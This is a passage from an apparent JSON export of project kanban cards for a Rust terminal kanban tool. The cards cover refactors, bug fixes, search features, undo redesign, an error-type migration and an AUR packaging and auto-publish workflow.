(PersistenceStore trait)\nkanban-mcp --+                            ^              ^\n                                   JsonFileStore     SqliteStore\n```\n\n## Work Items\n\n- [ ] Create crates/kanban-service/ with handlers migrated from kanban-cli/src/handlers/\n- [ ] Handlers accept Arc<dyn PersistenceStore + Send + Sync> instead of reading disk directly\n- [ ] Update kanban-cli to depend on kanban-service (no behavioral change)\n- [ ] Rewrite kanban-mcp/src/context.rs to call kanban-service directly (replace executor.rs subprocess model)\n- [ ] Remove kanban from crates/kanban-mcp/default.nix nativeBuildInputs and postInstall wrap\n- [ ] Update kanban-mcp integration tests to not require KANBAN_BIN\n\n## Acceptance Criteria\n\n- kanban-mcp Nix derivation has no dependency on the kanban or kanban-cli binary\n- MCP server works with both JSON and SQLite stores (after KAN-159 merges)\n- No behavioral regression in CLI or MCP",
        "due_date": null,
        "id": "55b3442d-e1a3-41e4-8372-9a21caa02c6b",
        "points": null,
        "position": 119,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Extract kanban-service crate from kanban-cli handlers",
        "updated_at": "2026-03-22T21:52:06.787024822Z"
      },
      {
        "card_number": 294,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:51:26.552534558Z",
        "description": "In PR #206, default_output_path now uses backend name as extension directly, so 'kanban migrate src.json sqlite' produces src.sqlite instead of src.db. Add a note to the changeset and consider whether to keep the new behavior or restore .db as the SQLite default extension.",
        "due_date": null,
        "id": "393848c3-58a9-4089-aa18-b57ce037c4f0",
        "points": 2,
        "position": 120,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856384095Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "fix: migrate CLI default extension changed from .db to .sqlite (silent breaking change)",
        "updated_at": "2026-04-04T23:44:59.901948921Z"
      },
      {
        "card_number": 230,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-24T21:04:48.336456161Z",
        "created_at": "2026-03-22T23:39:00.642031998Z",
        "description": "Submit the kanban CLI to the Arch User Repository so Arch users can install via `yay -S kanban`.\n\nNo approval needed — push and it goes live immediately.\n\n## Prerequisites\n\n- AUR account at https://aur.archlinux.org\n- SSH key registered in AUR profile:\n  ```\n  ssh-keygen -f ~/.ssh/aur\n  # add contents of ~/.ssh/aur.pub to AUR account > My Account > SSH keys\n  ```\n- Add to ~/.ssh/config:\n  ```\n  Host aur.archlinux.org\n    IdentityFile ~/.ssh/aur\n    User aur\n  ```\n\n## Package Name\n\nUse `kanban` — not taken in official repos, `kanban-bin` is taken but for a different project (GitLab kanban). Plain source build gets the plain name.\n\n## PKGBUILD\n\nCreate a `PKGBUILD` file:\n\n```bash\n# Maintainer: Your Name <email>\npkgname=kanban\npkgver=0.3.5\npkgrel=1\npkgdesc=\"Terminal-based kanban board with MCP server integration\"\narch=(\"x86_64\")\nurl=\"https://github.com/youruser/kanban\"\nlicense=(\"MIT\")\nmakedepends=(\"rust\" \"cargo\")\nsource=(\"$pkgname-$pkgver.tar.gz::https://github.com/youruser/kanban/archive/v$pkgver.tar.gz\")\nsha256sums=(\"SKIP\")\n\nbuild() {\n    cd \"$pkgname-$pkgver\"\n    cargo build --release --locked --bin kanban\n}\n\npackage() {\n    cd \"$pkgname-$pkgver\"\n    install -Dm755 \"target/release/kanban\" \"$pkgdir/usr/bin/kanban\"\n    install -Dm644 LICENSE \"$pkgdir/usr/share/licenses/$pkgname/LICENSE\"\n}\n```\n\nReplace sha256sums SKIP with the real hash once the release tarball exists:\n```\ncurl -L <tarball-url> | sha256sum\n```\n\n## Submission\n\n```bash\ngit clone ssh://aur@aur.archlinux.org/kanban.git\ncd kanban\ncp /path/to/PKGBUILD .\nmakepkg --printsrcinfo > .SRCINFO\ngit add PKGBUILD .SRCINFO\ngit commit -m \"Initial import\"\ngit push\n```\n\n## Ongoing Maintenance\n\n- Update pkgver + sha256sums on each release, regenerate .SRCINFO, push\n- Watch AUR comments for bug reports\n- If you stop maintaining, disown via the AUR web UI\n\n\nAUR auto-publish workflow\n---\n\n After each GitHub release of kanban, the AUR package at aur.archlinux.org/kanban needs to be updated with the new version and sha256. This should be fully automated via a separate GitHub Actions workflow — decoupled from the release job so a failure doesn't block a\n release.\n\n No shared scripts, no flake inputs between repos. Just a standalone workflow with ~20 lines of shell.\n\n Files to create\n\n .github/workflows/aur-publish.yml (new, in main kanban repo)\n\n Triggered by release: published. Clones the AUR repo, updates PKGBUILD and .SRCINFO, commits and pushes.\n\n```yaml\n name: Publish to AUR\n\n on:\n   release:\n     types: [published]\n\n jobs:\n   aur-publish:\n     name: Update AUR package\n     runs-on: ubuntu-latest\n     steps:\n       - uses: cachix/install-nix-action@v27\n         with:\n           github_access_token: ${{ secrets.GITHUB_TOKEN }}\n           extra_nix_config: |\n             experimental-features = nix-command flakes\n\n       - name: Setup AUR SSH key\n         run: |\n           mkdir -p ~/.ssh\n           echo \"${{ secrets.AUR_SSH_KEY }}\" > ~/.ssh/aur_key\n           chmod 600 ~/.ssh/aur_key\n           ssh-keyscan aur.archlinux.org >> ~/.ssh/known_hosts\n\n       - name: Clone AUR repo\n         env:\n           GIT_SSH_COMMAND: \"ssh -i ~/.ssh/aur_key -o IdentitiesOnly=yes\"\n         run: |\n           git clone ssh://aur@aur.archlinux.org/kanban.git /tmp/aur-kanban\n\n       - name: Update PKGBUILD and .SRCINFO\n         run: |\n           VERSION=\"${{ github.event.release.tag_name }}\"\n           VERSION=\"${VERSION#v}\"\n           TARBALL_URL=\"https://github.com/fulsomenko/kanban/archive/v${VERSION}.tar.gz\"\n           SHA256=$(curl -sL \"$TARBALL_URL\" | sha256sum | awk '{print $1}')\n\n           cd /tmp/aur-kanban\n           sed -i \"s/^pkgver=.*/pkgver=${VERSION}/\" PKGBUILD\n           sed -i \"s/^pkgrel=.*/pkgrel=1/\" PKGBUILD\n           sed -i \"s/sha256sums=.*/sha256sums=(\\\"${SHA256}\\\")/\" PKGBUILD\n\n           MAKEPKG_CONF=$(find /nix/store -name \"makepkg.conf\" -path \"*/pacman-*/etc/*\" 2>/dev/null | head -1)\n           nix-shell -p pacman libarchive --run \\\n             \"makepkg --printsrcinfo --config ${MAKEPKG_CONF}\" 2>/dev/null \\\n             | grep -v \"^Kanban\\|^📦\\|^🦀\" > .SRCINFO\n\n       - name: Commit and push\n         env:\n           GIT_SSH_COMMAND: \"ssh -i ~/.ssh/aur_key -o IdentitiesOnly=yes\"\n         run: |\n           cd /tmp/aur-kanban\n           git config user.name \"github-actions[bot]\"\n           git config user.email \"github-actions[bot]@users.noreply.github.com\"\n           git add PKGBUILD .SRCINFO\n           git commit -m \"Update to ${{ github.event.release.tag_name }}\"\n           git push\n```\n\n Secret setup\n\n 1. Generate key\n\n ssh-keygen -t ed25519 -f /path/to/key -C \"github-actions kanban AUR\" -N \"\"\n\n 2. Store in sops-nix\n\n Add the private key to your sops secrets and activate it via NixOS. Path managed by sops.\n\n 3. Register public key on AUR\n\n 1. cat /path/to/key.pub\n 2. https://aur.archlinux.org → My Account → SSH Public Key → paste and save\n\n 4. Add to GitHub Actions secrets\n\n gh secret set AUR_SSH_KEY --repo fulsomenko/kanban < <(sops -d path/to/encrypted/aur-key)\n\n Required secret name: AUR_SSH_KEY\n\n Verification\n\n After merging and setting the secret:\n 1. Publish a release (or re-publish an existing one) to trigger the workflow\n 2. Pull ~/fulsomenko/aur/kanban and check for a new commit\n 3. Verify AUR page reflects the version\n",
        "due_date": null,
        "id": "40d7c0aa-d3a9-4354-b9d6-e42d54b47657",
        "points": 2,
        "position": 120,
        "priority": "High",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:21:14.858411618Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Submit kanban to AUR",
        "updated_at": "2026-03-31T22:21:14.858415353Z"
      },
      {
        "card_number": 295,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:51:26.563775891Z",
        "description": "Unlike CliContext::load and McpContext::new, validate_and_load_store does not call sync_backend_with_file before opening the store. A backend/file mismatch produces a confusing error. Either apply sync there too, or add a doc comment making the caller's responsibility explicit.",
        "due_date": null,
        "id": "26a3e1cb-9730-45ec-968b-dc8d7bf4ad54",
        "points": 3,
        "position": 121,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856470480Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "fix: validate_and_load_store skips sync_backend_with_file unlike CLI/MCP entry points",
        "updated_at": "2026-04-04T23:44:59.942262070Z"
      },
      {
        "card_number": 296,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:51:26.574753464Z",
        "description": "In config.rs::move_config, when fs::rename fails and the fallback copy+delete path is taken, the result of remove_file(new_path) is ignored with let _ = .... Add a tracing::warn\\! so failures during cleanup are observable without propagating the error.",
        "due_date": null,
        "id": "123665a7-edff-4a16-bb07-3b5c066b25a7",
        "points": 1,
        "position": 122,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856501677Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "fix: move_config silently drops cleanup error on partial failure",
        "updated_at": "2026-04-04T23:44:59.983082957Z"
      },
      {
        "card_number": 216,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-25T23:25:33.359805274Z",
        "created_at": "2026-03-17T01:01:08.465173272Z",
        "description": "`aggregate-changelog.sh` produces a flat list of every commit message, losing the\nper-feature grouping that older entries (≤ 0.1.10) had. The 0.3.0 entry has 60+\nraw commit lines instead of sections grouped by ticket/changeset.\n\n**Current output (0.3.0):**\n```\n- feat: update MCP server tools for full CLI parity\n- feat: bring MCP context to full parity with CLI\n- fix: error handling in MCP executor\n...\n```\n\n**Expected output (matching 0.1.10 style):**\n```\n### KAN-193 Bring MCP to full feature parity (2026-03-17)\n- feat: update MCP server tools for full CLI parity\n- feat: bring MCP context to full parity with CLI\n...\n\n### KAN-212 Paginated list responses (2026-03-17)\n- feat(core): add PaginatedList<T> ...\n```\n\n## Cause\n\n`aggregate-changelog.sh` reads changeset files (one per ticket) but concatenates\ntheir descriptions into a single flat section rather than emitting a heading per\nchangeset.\n\n## Acceptance criteria\n\n- Each changeset file produces its own `###` heading in the CHANGELOG, using the\nticket ID and description from the changeset frontmatter\n- Commit-level bullet points appear under their respective heading\n- The 0.3.0 entry is retroactively corrected to match the grouped format\n- Future releases produce grouped output automatically\n",
        "due_date": null,
        "id": "79e3de0d-31e1-4e87-a0ba-2b7f221d05a4",
        "points": null,
        "position": 123,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "CHANGELOG.md grouping by card",
        "updated_at": "2026-03-25T23:25:33.359807291Z"
      },
      {
        "card_number": 297,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:51:26.585939365Z",
        "description": "test_app_config_dto_serializes_keys_in_alphabetical_order checks JSON key order by parsing lines, but serde_json does not guarantee struct field serialization order. The test may break across serde versions. Replace with BTreeMap or serde_json::Value comparison, or remove the ordering assertion.",
        "due_date": null,
        "id": "69942b14-e068-4a9a-abbc-88c627156c7a",
        "points": 1,
        "position": 123,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856350445Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "fix: AppConfigDto key-order test relies on undefined serde_json field ordering",
        "updated_at": "2026-04-04T23:45:00.024564443Z"
      },
      {
        "card_number": 233,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-28T17:07:24.153426440Z",
        "created_at": "2026-03-25T01:29:43.793638242Z",
        "description": "Added 'Attachments, adding files to cards' as the first planned item in the Roadmap section of web/index.html to match README.md.",
        "due_date": null,
        "id": "84e739f8-171a-431d-8fcf-eec4884d9710",
        "points": 1,
        "position": 124,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:20:35.403926901Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Sync web/index.html roadmap with README.md",
        "updated_at": "2026-03-31T22:20:35.403930561Z"
      },
      {
        "card_number": 232,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-28T16:36:07.401804769Z",
        "created_at": "2026-03-25T01:27:47.235869987Z",
        "description": "Regression introduced in commit 88862dc. Root cause: SprintViewState::default() always initialises panel = Uncompleted, and populate_sprint_task_lists also resets it to Uncompleted. The h/l panel-switch keys only work when sprint.status == Completed. So for any Active or Planning sprint the panel is permanently Uncompleted, making the else { handle_complete_sprint_key() } branch unreachable. Fix: restore original c key logic. Multi-select (via v) is explicit, so c with no multi-select unambiguously means complete sprint. Files: crates/kanban-tui/src/handlers/detail_view_handlers.rs",
        "due_date": null,
        "id": "ac765324-4fe0-4c61-b850-f9d03b942510",
        "points": 1,
        "position": 124,
        "priority": "High",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:20:47.015560931Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "fix: c key can no longer complete sprint from sprint detail view",
        "updated_at": "2026-03-31T22:20:47.015565833Z"
      },
      {
        "card_number": 154,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-21T12:48:45.054524809Z",
        "created_at": "2025-12-20T10:11:56.291765Z",
        "description": "using the `p` dialog to set the points for a card doesnt apply the value to the card\n",
        "due_date": null,
        "id": "c75f59b1-b3ee-43ef-87b0-703ed470bdbe",
        "points": 1,
        "position": 124,
        "priority": "Low",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T13:46:54.469307Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-12-23T00:35:00.539909Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:54.469310Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "`p` dialog does not correctly set points",
        "updated_at": "2026-03-28T17:03:59.246079417Z"
      },
      {
        "card_number": 123,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-21T18:06:08.092387619Z",
        "created_at": "2025-11-03T16:58:06.579445Z",
        "description": "It would be cool to emulate the vim search binding with `escape` to clear search, `enter` to apply search and `n` to go to next hit. ofcourse with highlighting of the search string on the hit element\n\nlike I hit c to complete the task and it took me away from the search results. search should only clear explicitly by hitting escape\n\ncurrently. searching and then hitting escape escape the user out of the board\n\nalso actions taken after the search has been made clears the search. I would like to keep the search results until the users explictly exits search mode\n",
        "due_date": null,
        "id": "c401de4c-5d33-4fb3-a955-05074785c28d",
        "points": 1,
        "position": 124,
        "priority": "Medium",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264719Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:46:16.108008Z",
            "status": "Active"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374955Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264720Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T13:46:57.678266Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374956Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:57.678268Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "escape bind to clear search, enter to apply",
        "updated_at": "2026-03-28T17:03:59.235889171Z"
      },
      {
        "card_number": 122,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-24T21:05:13.586983234Z",
        "created_at": "2025-11-03T16:57:47.239961Z",
        "description": "the same seems to apply for actions across the board\n",
        "due_date": null,
        "id": "3eab8853-aa3e-46db-a305-379d1ab72490",
        "points": 1,
        "position": 124,
        "priority": "Medium",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264701Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245016Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374906Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264701Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T13:47:00.884883Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374906Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:47:00.884886Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "dont reset search on scroll",
        "updated_at": "2026-03-28T17:03:59.225291075Z"
      },
      {
        "card_number": 303,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T00:01:03.632059484Z",
        "description": "The current bulk-update pattern (bulk-archive, bulk-move) feels like an afterthought. A more natural API would be `kanban cards update` (plural) supporting heterogeneous field updates across multiple cards in one command, e.g. different points per card. This mirrors how users think: 'update cards' rather than 'card bulk-update'.",
        "due_date": null,
        "id": "aa5af110-c68b-4662-a7e0-41c8446b713d",
        "points": 3,
        "position": 124,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541932090Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add 'kanban cards update' plural subcommand for bulk heterogeneous updates",
        "updated_at": "2026-04-06T21:44:46.541951939Z"
      },
      {
        "card_number": 298,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-04T20:51:26.599028358Z",
        "description": "settings_handlers.rs in kanban-tui exceeds the 300-line module limit (599 lines). Split into handlers/settings/{mod.rs, config_edit.rs, storage.rs, export.rs} to align with project conventions. Deferred from PR #206 review.",
        "due_date": null,
        "id": "c2a79b15-28d0-4496-bfc0-d7d1bd65f6e4",
        "points": 3,
        "position": 125,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856509465Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "refactor: split settings_handlers.rs (599 lines) into focused sub-modules",
        "updated_at": "2026-04-04T23:45:00.064598134Z"
      },
      {
        "card_number": 211,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-28T20:37:15.908931934Z",
        "created_at": "2026-03-16T00:20:13.348753249Z",
        "description": "find_card_by_identifier uses .find() and returns the first match, which is ambiguous when two cards on different boards share the same card number and prefix (e.g. two boards both using KAN prefix both having card #210).\n\n## Problem\n\nCardIdentifierSearcher::matches() checks prefix+number but has no board scope. If the caller does not filter by board first, the wrong card can be returned — as demonstrated when 'KAN-210' resolved to an older card instead of the newly created one.\n\n## Options\n\n- Add an optional board_id scope to find_card_by_identifier so callers can narrow the search\n- In CLI/MCP contexts where a single board is in use, auto-scope to that board\n- Return all matches and error if ambiguous (forcing the caller to use a UUID)\n- Document the limitation and require UUID when identifier is ambiguous",
        "due_date": null,
        "id": "a32e7977-8e0f-483a-8e4e-138b5fb1604e",
        "points": null,
        "position": 125,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Disambiguate card identifier lookup across boards",
        "updated_at": "2026-03-28T20:37:15.908932152Z"
      },
      {
        "card_number": 313,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T18:43:01.685620093Z",
        "description": "Currently undo/redo stores full Snapshot clones (all boards, columns, cards, sprints, graph) for every operation. This is wasteful — editing a single card title clones the entire board state.\n\nDesign and implement a command-based undo mechanism where each command produces an inverse operation (e.g., UpdateCard stores the old field values, CreateCard produces DeleteCard). This enables:\n- Per-field undo granularity for external editor edits\n- Significantly reduced memory usage for undo history\n- Composable batch undo (a bulk operation stores N inverse commands as one entry)\n\nScope:\n- Define an InverseCommand trait or extend Command with fn inverse() -> Box<dyn Command>\n- Migrate existing commands to produce inverses\n- Update HistoryManager to store inverse commands instead of Snapshots\n- Update KanbanContext.undo()/redo() to execute inverses\n- Ensure external editor mutations (board name, card title, card metadata JSON) use per-field inverses\n- Maintain backward compatibility: snapshot-based undo can coexist during migration\n\nDepends on: KAN-264/KAN-265 (history-aware execute in KanbanContext)",
        "due_date": null,
        "id": "10f684de-1ab4-4458-aad4-b3fe2097867f",
        "points": 8,
        "position": 126,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541927458Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Command-based undo: per-field inverse operations instead of full snapshots",
        "updated_at": "2026-04-06T21:44:46.541947751Z"
      },
      {
        "card_number": 304,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T00:01:29.358883237Z",
        "description": "Currently search is limited (KAN-236, KAN-237 cover partial groundwork). Need a first-class search experience: full-text search across card titles, descriptions, and tags; filtering by multiple fields simultaneously (priority, status, assignee, points range, due date); search in both TUI (fuzzy, incremental) and CLI/MCP (structured query). Should replace the scattered filter/search workarounds currently spread across the codebase.",
        "due_date": null,
        "id": "5ed0f7a9-9f41-409f-b22c-fe84a9225811",
        "points": 5,
        "position": 127,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541923452Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Proper search functionality across cards, boards, and columns",
        "updated_at": "2026-04-06T21:44:46.541944404Z"
      },
      {
        "card_number": 235,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-29T00:08:26.243089260Z",
        "created_at": "2026-03-25T23:43:21.977203118Z",
        "description": "## Goal\n\nReplace the single flat `KanbanError` enum (in `kanban-core`) with per-layer error types that have precise, minimal responsibility. This is the foundation for all future error handling across the codebase.\n\n## Current Problem\n\n`KanbanError` in `kanban-core` is used by every crate, meaning:\n- Persistence concepts (`ConflictDetected`, `Io`) sit next to domain concepts (`CycleDetected`, `NotFound`)\n- The core crate couples upward to higher-layer concerns\n- Callers cannot match precisely — `NotFound(String)` loses type information\n- Graph errors (`CycleDetected`, `SelfReference`, `EdgeNotFound`) are domain-specific but in core\n\n## Target Architecture\n\n```\nkanban-core        → KanbanError (thin top-level wrapper, used by service + CLI + TUI + MCP)\nkanban-domain      → DomainError (NotFound, Validation, DependencyError)\nkanban-persistence → PersistenceError (Io, Serialization, ConflictDetected)\n```\n\nEach layer only knows its own error type. Boundaries convert via `#[from]`.\n\n## Layer Design\n\n### kanban-domain: DomainError\n\n```rust\n#[derive(Error, Debug)]\npub enum DomainError {\n    #[error(\"{entity} {id} not found\")]\n    NotFound { entity: &'static str, id: Uuid },\n\n    #[error(\"validation error: {0}\")]\n    Validation(String),\n\n    #[error(transparent)]\n    Dependency(#[from] DependencyError),\n}\n\n#[derive(Error, Debug)]\npub enum DependencyError {\n    #[error(\"cycle detected: adding this edge would create a circular dependency\")]\n    CycleDetected,\n\n    #[error(\"self-reference not allowed\")]\n    SelfReference,\n\n    #[error(\"edge not found\")]\n    EdgeNotFound,\n}\n```\n\n`NotFound { entity: &'static str, id: Uuid }` — typed id, readable message, no enum bloat as domain grows.\n\nHelper constructors on `DomainError` keep call sites clean:\n```rust\nimpl DomainError {\n    pub fn board_not_found(id: Uuid) -> Self { Self::NotFound { entity: \"board\", id } }\n    pub fn card_not_found(id: Uuid)  -> Self { Self::NotFound { entity: \"card\",  id } }\n    pub fn column_not_found(id: Uuid)-> Self { Self::NotFound { entity: \"column\",id } }\n    pub fn sprint_not_found(id: Uuid)-> Self { Self::NotFound { entity: \"sprint\",id } }\n    pub fn archived_card_not_found(id: Uuid) -> Self { Self::NotFound { entity: \"archived card\", id } }\n}\n```\n\n### kanban-persistence: PersistenceError\n\n```rust\n#[derive(Error, Debug)]\npub enum PersistenceError {\n    #[error(\"IO error: {0}\")]\n    Io(#[from] std::io::Error),\n\n    #[error(\"serialization error: {0}\")]\n    Serialization(String),\n\n    #[error(\"file conflict: {path} was modified by another instance\")]\n    ConflictDetected {\n        path: String,\n        #[source]\n        source: Option<Box<dyn std::error::Error + Send + Sync>>,\n    },\n}\n```\n\n### kanban-core: KanbanError (top-level wrapper)\n\n```rust\n#[derive(Error, Debug)]\npub enum KanbanError {\n    #[error(transparent)]\n    Domain(#[from] DomainError),\n\n    #[error(transparent)]\n    Persistence(#[from] PersistenceError),\n\n    #[error(\"internal error: {0}\")]\n    Internal(String),\n}\n```\n\nTUI, CLI, and MCP work with `KanbanError`. They can match on `KanbanError::Domain(DomainError::NotFound { entity, id })` when they need precision, or treat all errors uniformly for display.\n\n## Migration Steps\n\n1. **Add `DomainError` + `DependencyError` to `kanban-domain`**\n   - New file: `crates/kanban-domain/src/error.rs`\n   - Export from `crates/kanban-domain/src/lib.rs`\n\n2. **Add `PersistenceError` to `kanban-persistence`**\n   - New file: `crates/kanban-persistence/src/error.rs`\n   - Export from `crates/kanban-persistence/src/lib.rs`\n\n3. **Update `kanban-core` KanbanError**\n   - Depends on `kanban-domain` and `kanban-persistence` (check if circular — may need to move KanbanError out of core entirely, or keep core as the aggregator crate)\n   - Remove `NotFound`, `Validation`, `Io`, `Serialization`, `ConflictDetected`, `CycleDetected`, `SelfReference`, `EdgeNotFound`, `Connection`\n\n4. **Update `kanban-domain` command and graph code**\n   - All commands return `DomainResult<()>` (type alias for `Result<T, DomainError>`)\n   - Graph errors return `DependencyError`\n\n5. **Update `kanban-persistence`**\n   - All persistence code returns 